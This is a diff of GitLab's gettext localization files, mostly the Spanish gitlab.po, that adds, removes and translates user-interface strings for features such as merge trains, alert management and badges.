+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "Vi ne povos eltiri aÅ­ alpuÅi kodon per %{protocol} antaÅ­ ol vi %{set_
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index e7896674e26..f4c7a90431d 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:43\n"
+"PO-Revision-Date: 2020-09-04 23:06\n"
msgid " %{start} to %{end}"
msgstr " %{start} hasta %{end}"
@@ -56,14 +56,14 @@ msgstr[1] " mejorado en %d puntos"
msgid " or "
msgstr " o "
-msgid " or <!merge request id>"
-msgstr " o <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
+msgstr ""
-msgid " or <#issue id>"
-msgstr " o <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
-msgstr " o <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
+msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " o referencias (e.j. path/to/project!merge_request_id)"
@@ -71,10 +71,13 @@ msgstr " o referencias (e.j. path/to/project!merge_request_id)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr "\"%{path}\" no existía en \"%{ref}\""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d URL analizada"
+msgstr[1] "%d URLs analizadas"
msgid "%d URL scanned"
msgid_plural "%d URLs scanned"
@@ -171,8 +174,8 @@ msgstr[1] "%d grupos seleccionados"
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d hora"
+msgstr[1] "%d horas"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
@@ -186,8 +189,8 @@ msgstr[1] "%d incidencias"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d incidencia en este grupo"
+msgstr[1] "%d incidencias en este grupo"
msgid "%d issue selected"
msgid_plural "%d issues selected"
@@ -196,8 +199,8 @@ msgstr[1] "%d incidencias seleccionadas"
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d incidencia importada correctamente con la etiqueta"
+msgstr[1] "%d incidencias importadas correctamente con la etiqueta"
msgid "%d layer"
msgid_plural "%d layers"
@@ -271,8 +274,8 @@ msgstr[1] "%d etiquetas"
msgid "%d unassigned issue"
msgid_plural "%d unassigned issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d incidencia sin asignar"
+msgstr[1] "%d incidencias sin asignar"
msgid "%d unresolved thread"
msgid_plural "%d unresolved threads"
@@ -297,9 +300,12 @@ msgstr[1] "%s cambios adicionales han sido omitidos para evitar problemas de ren
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
-msgid "%{author_link} wrote:"
+msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{author_link} wrote:"
+msgstr "%{author_link} escribió:"
+
msgid "%{authorsName}'s thread"
msgstr "Hilo de %{authorsName}"
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} núcleos"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/commit"
@@ -389,6 +398,9 @@ msgstr "%{deployLinkStart}Utilice una plantilla para implementar en ECS%{deployL
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}ms"
@@ -416,8 +428,8 @@ msgstr "%{firstLabel} +%{labelCount} más"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} no es un identificador válido para %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "Los %{group_docs_link_start}Grupos%{group_docs_link_end} le permiten administrar y colaborar en múltiples proyectos. Los miembros de un grupo tienen acceso a todos sus proyectos."
@@ -503,9 +515,6 @@ msgstr "%{level_name} no está permitido en un grupo de %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} no está permitido debido a que el fork del proyecto origen tiene menor visibilidad."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr "%{lineOneStart}Arrastre y suelte para subir sus diseños%{lineOneEnd} o %{linkStart}haga clic para subir%{linkEnd}."
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}Más información%{link_end} sobre qué información se comparte con GitLab Inc."
@@ -524,6 +533,9 @@ msgstr "%{listToShow}, y %{awardsListLength} más."
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Iniciado"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} está bloqueado por el usuario de GitLab %{lock_user_id}"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} puede fusionarse"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, esta incidencia se cerrará automáticamente."
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} Mb"
msgid "%{size} bytes"
msgstr "%{size} bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} se envió con éxito a Akismet."
@@ -685,6 +715,9 @@ msgstr "%{start} hasta %{end}"
msgid "%{state} epics"
msgstr "%{state} épicas"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr "%{totalMemory} (%{freeSpacePercentage}%{percentSymbol} libre)"
msgid "%{totalWeight} total weight"
msgstr "%{totalWeight} peso total"
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "%{total} incidencias abiertas"
@@ -791,6 +827,9 @@ msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} le permiten enviar noti
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} le permiten enviar notificaciones a aplicaciones web en respuesta a eventos en un grupo o proyecto. Recomendamos utilizar una %{integrations_link_start}integración%{link_end} en lugar de un webhook."
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr "(fuente externa)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(eliminado)"
@@ -1042,15 +1099,6 @@ msgstr "8 horas"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr "< 1 hora"
-
-msgid "<project name>"
-msgstr "<project name>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>elimina</strong> la rama origen"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "Un ejecutor es un proceso que ejecuta un trabajo. Puede configurar tantos ejecutores como usted necesite."
@@ -1114,7 +1162,7 @@ msgstr "Un miembro del equipo revisará su informe tan pronto como sea posible."
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr "Se creará una nueva rama en su proceso de fork y se iniciará una nueva
msgid "A new impersonation token has been created."
msgstr "Se ha creado un nuevo token de impersonación."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "Un sitio hecho con HTML plano que utiliza Netlify para CI/CD en lugar de GitLab, pero con las demás excelentes características de GitLab."
@@ -1160,7 +1211,7 @@ msgid "A secure token that identifies an external storage request."
msgstr "Un token seguro que identifica una petición de almacenamiento externo."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
-msgstr ""
+msgstr "Se ha realizado un inicio de sesión en su cuenta desde la siguiente dirección IP: %{ip}"
msgid "A subscription will trigger a new pipeline on the default branch of this project when a pipeline successfully completes for a new tag on the %{default_branch_docs} of the subscribed project."
msgstr ""
@@ -1172,7 +1223,7 @@ msgid "ACTION REQUIRED: Something went wrong while obtaining the Let's Encrypt c
msgstr ""
msgid "API Help"
-msgstr ""
+msgstr "Ayuda de la API"
msgid "API Token"
msgstr "Token del API"
@@ -1234,6 +1285,9 @@ msgstr "Fecha de expiración del acceso"
msgid "Access forbidden. Check your access level."
msgstr "Acceso denegado. Por favor, compruebe su nivel de acceso."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "El acceso a '%{classification_label}' no está permitido"
@@ -1345,6 +1399,9 @@ msgstr "Activar"
msgid "Activate Service Desk"
msgstr "Activar Service Desk"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Activo"
@@ -1377,12 +1434,6 @@ msgstr[1] "Añadir %d incidencias"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "Añadir CHANGELOG"
@@ -1497,6 +1548,9 @@ msgstr "Añadir una tarea épica hija a otra tarea épica"
msgid "Add comment now"
msgstr "Añadir comentario ahora"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr "Añadir dirección de correo electrónico"
msgid "Add environment"
msgstr "Añadir entorno"
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Añadir encabezado y pie de página a los correos electrónicos. Tenga en cuenta que la configuración de los colores solo se aplicará dentro de la interfaz de la aplicación"
@@ -1521,6 +1578,9 @@ msgstr "Añadir Incidencia"
msgid "Add italic text"
msgstr "Añadir texto en cursiva"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Añadir etiqueta(s)"
@@ -1591,7 +1651,7 @@ msgid "Add webhook"
msgstr "Añadir webhook"
msgid "Add/remove"
-msgstr ""
+msgstr "Agregar/eliminar"
msgid "AddContextCommits|Add previously merged commits"
msgstr ""
@@ -1633,7 +1693,7 @@ msgid "Adding new applications is disabled in your GitLab instance. Please conta
msgstr "Se ha deshabilitado la opción de añadir nuevas aplicaciones en su instancia de GitLab. Póngase en contacto con su administrador de GitLab para obtener el permiso"
msgid "Additional Metadata"
-msgstr ""
+msgstr "Metadatos adicionales"
msgid "Additional minutes"
msgstr "Minutos adicionales"
@@ -1675,7 +1735,7 @@ msgid "Admin Overview"
msgstr "Vista de administrador"
msgid "Admin Section"
-msgstr ""
+msgstr "Sección de administración"
msgid "Admin mode already enabled"
msgstr "Ya está habilitado el modo de administración"
@@ -1800,6 +1860,9 @@ msgstr "Seleccione un archivo de configuración del pipeline"
msgid "AdminSettings|Select a template"
msgstr "Seleccione una plantilla"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "La plantilla de servicio le permite configurar los valores predeterminados para las integraciones"
@@ -1815,6 +1878,9 @@ msgstr "Especifique un dominio para utilizar por defecto durante las etapas desp
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "Cuando crea una nueva variable de entorno, se protegerá por defecto."
@@ -2042,6 +2108,9 @@ msgstr[1] "Alertas"
msgid "AlertManagement|Acknowledged"
msgstr "Confirmado"
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr "Alerta"
@@ -2072,8 +2141,8 @@ msgstr "Asignados"
msgid "AlertManagement|Authorize external service"
msgstr "Autorizar un servicio externo"
-msgid "AlertManagement|Create issue"
-msgstr "Crear una incidencia"
+msgid "AlertManagement|Create incident"
+msgstr ""
msgid "AlertManagement|Critical"
msgstr "Crítico"
@@ -2129,9 +2198,6 @@ msgstr "Abrir"
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr "Descripción general"
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr "Reportado %{when} por %{tool}"
msgid "AlertManagement|Resolved"
msgstr "Resuelto"
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr "Servicio"
@@ -2186,17 +2255,14 @@ msgstr "Herramienta"
msgid "AlertManagement|Triggered"
msgstr "Activado"
-msgid "AlertManagement|Unassigned"
-msgstr "Desasignado"
-
msgid "AlertManagement|Unknown"
msgstr "Desconocido"
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
-msgstr "Ver una incidencia"
+msgid "AlertManagement|View incident"
+msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr "Todas las direcciones de correo electrónico se utilizarán para identif
msgid "All environments"
msgstr "Todos los entornos"
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Todas las funcionalidades están habilitadas para proyectos en blanco, plantillas, o al importar, pero puedes deshabilitarlas posteriormente en la configuración del proyecto."
@@ -2471,6 +2540,9 @@ msgstr "Cantidad de tiempo (en horas) que los usuarios pueden omitir la configur
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr "Se ha disparado una alerta en %{project_path}."
@@ -2537,6 +2609,9 @@ msgstr "Se ha producido un error durante la comprobación de ruta del grupo. Por
msgid "An error occurred while committing your changes."
msgstr "Se ha producido un error al hacer commit de sus cambios."
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr "Se ha producido un error mientras al cargar el archivo."
@@ -2609,9 +2684,18 @@ msgstr "Se ha producido un error al obtener los informes de terraform."
msgid "An error occurred while fetching the Service Desk address."
msgstr "Se ha producido un error al obtener la dirección de Service Desk."
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Se ha producido un error al obtener la lista de tableros. Por favor vuelva a intentarlo."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "Se ha producido un error al obtener el resultado de los trabajo de las construcción."
@@ -2753,15 +2837,18 @@ msgstr "Se ha producido un error al recuperar la actividad del calendario"
msgid "An error occurred while retrieving diff"
msgstr "Se ha producido un error durante la recuperación de diff"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Se ha producido un error al guardar el estado de LDAP. Por favor, inténtalo de nuevo."
msgid "An error occurred while saving assignees"
msgstr "Se ha producido un error al guardar las asignaciones"
-msgid "An error occurred while saving the approval settings"
-msgstr "Se ha producido un error al guardar la configuración de aprobaciones"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr "Se ha producido un error al guardar la plantilla. Por favor, compruebe si la plantilla existe."
@@ -2786,12 +2873,18 @@ msgstr "Se ha producido un error al actualizar los aprobadores"
msgid "An error occurred while updating the comment"
msgstr "Se ha producido un error al actualizar el comentario"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Se ha producido un error al validar la ruta del grupo"
msgid "An error occurred while validating username"
msgstr "Se ha producido un error al validar el nombre de usuario"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Se ha producido un error. Por favor inténtelo de nuevo."
@@ -2870,6 +2963,9 @@ msgstr "Cualquiera"
msgid "Any Author"
msgstr "Cualquier autor"
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr "Cualquier rama"
@@ -3085,6 +3181,9 @@ msgstr "Abril"
msgid "April"
msgstr "Abril"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr "Archivar"
@@ -3097,6 +3196,9 @@ msgstr "Archivar proyecto"
msgid "Archived"
msgstr "Archivado"
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "¡Proyecto archivado! El repositorio y otros recursos del proyecto son de sólo lectura"
@@ -3112,9 +3214,6 @@ msgstr "Al archivar el proyecto se convertirá por completo en un proyecto de sÃ
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "¿Está configurando GitLab para una empresa?"
-
msgid "Are you sure that you want to archive this project?"
msgstr "¿Está seguro de que desea archivar el proyecto?"
@@ -3223,8 +3322,8 @@ msgstr "¿Está seguro? Todos los commits que se firmaron con esta clave GPG ser
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr "¿Está seguro? Eliminar esta clave GPG no afecta a los commits ya firmados."
-msgid "Are you sure? The device will be signed out of GitLab."
-msgstr "¿Estás seguro? El dispositivo finalizará la sesión en GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
msgstr "¿Está seguro?. Al hacer esto invalidará sus aplicaciones registradas y sus dispositivos U2F."
@@ -3235,9 +3334,6 @@ msgstr "Organizar gráficas"
msgid "Artifact"
msgstr "Artefacto"
-msgid "Artifact ID"
-msgstr "ID del artefacto"
-
msgid "Artifact could not be deleted."
msgstr "Se ha producido un error al eliminar la categoría."
@@ -3250,6 +3346,9 @@ msgstr "Artefactos"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr "Dado que los dispositivos U2F solo son compatibles con algunos navegadores, requerimos que configure una aplicación de autenticación de dos factores antes que un dispositivo U2F. De esta forma, siempre podrá iniciar sesión, incluso cuando utilice un navegador no compatible."
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "el %{user} hizo push a la rama %{branch} de %{project_name} ( %{commit_url} ):"
@@ -3509,7 +3608,7 @@ msgstr "Autorizar"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "¿Autorizar %{link_to_client} para utilizar su cuenta?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr "Gestión automática de los certificados utilizando %{lets_encrypt_link_
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Gestión automática de los certificados utilizando Let's Encrypt"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,8 +3815,8 @@ msgstr "Este grupo no tiene insignias"
msgid "Badges|This project has no badges"
msgstr "Este proyecto no tiene insignias"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Va a eliminar esta insignia. Las insignias eliminadas <strong>no se pueden</strong> restaurar."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Sus insignias"
@@ -3827,6 +3929,9 @@ msgstr "mensual"
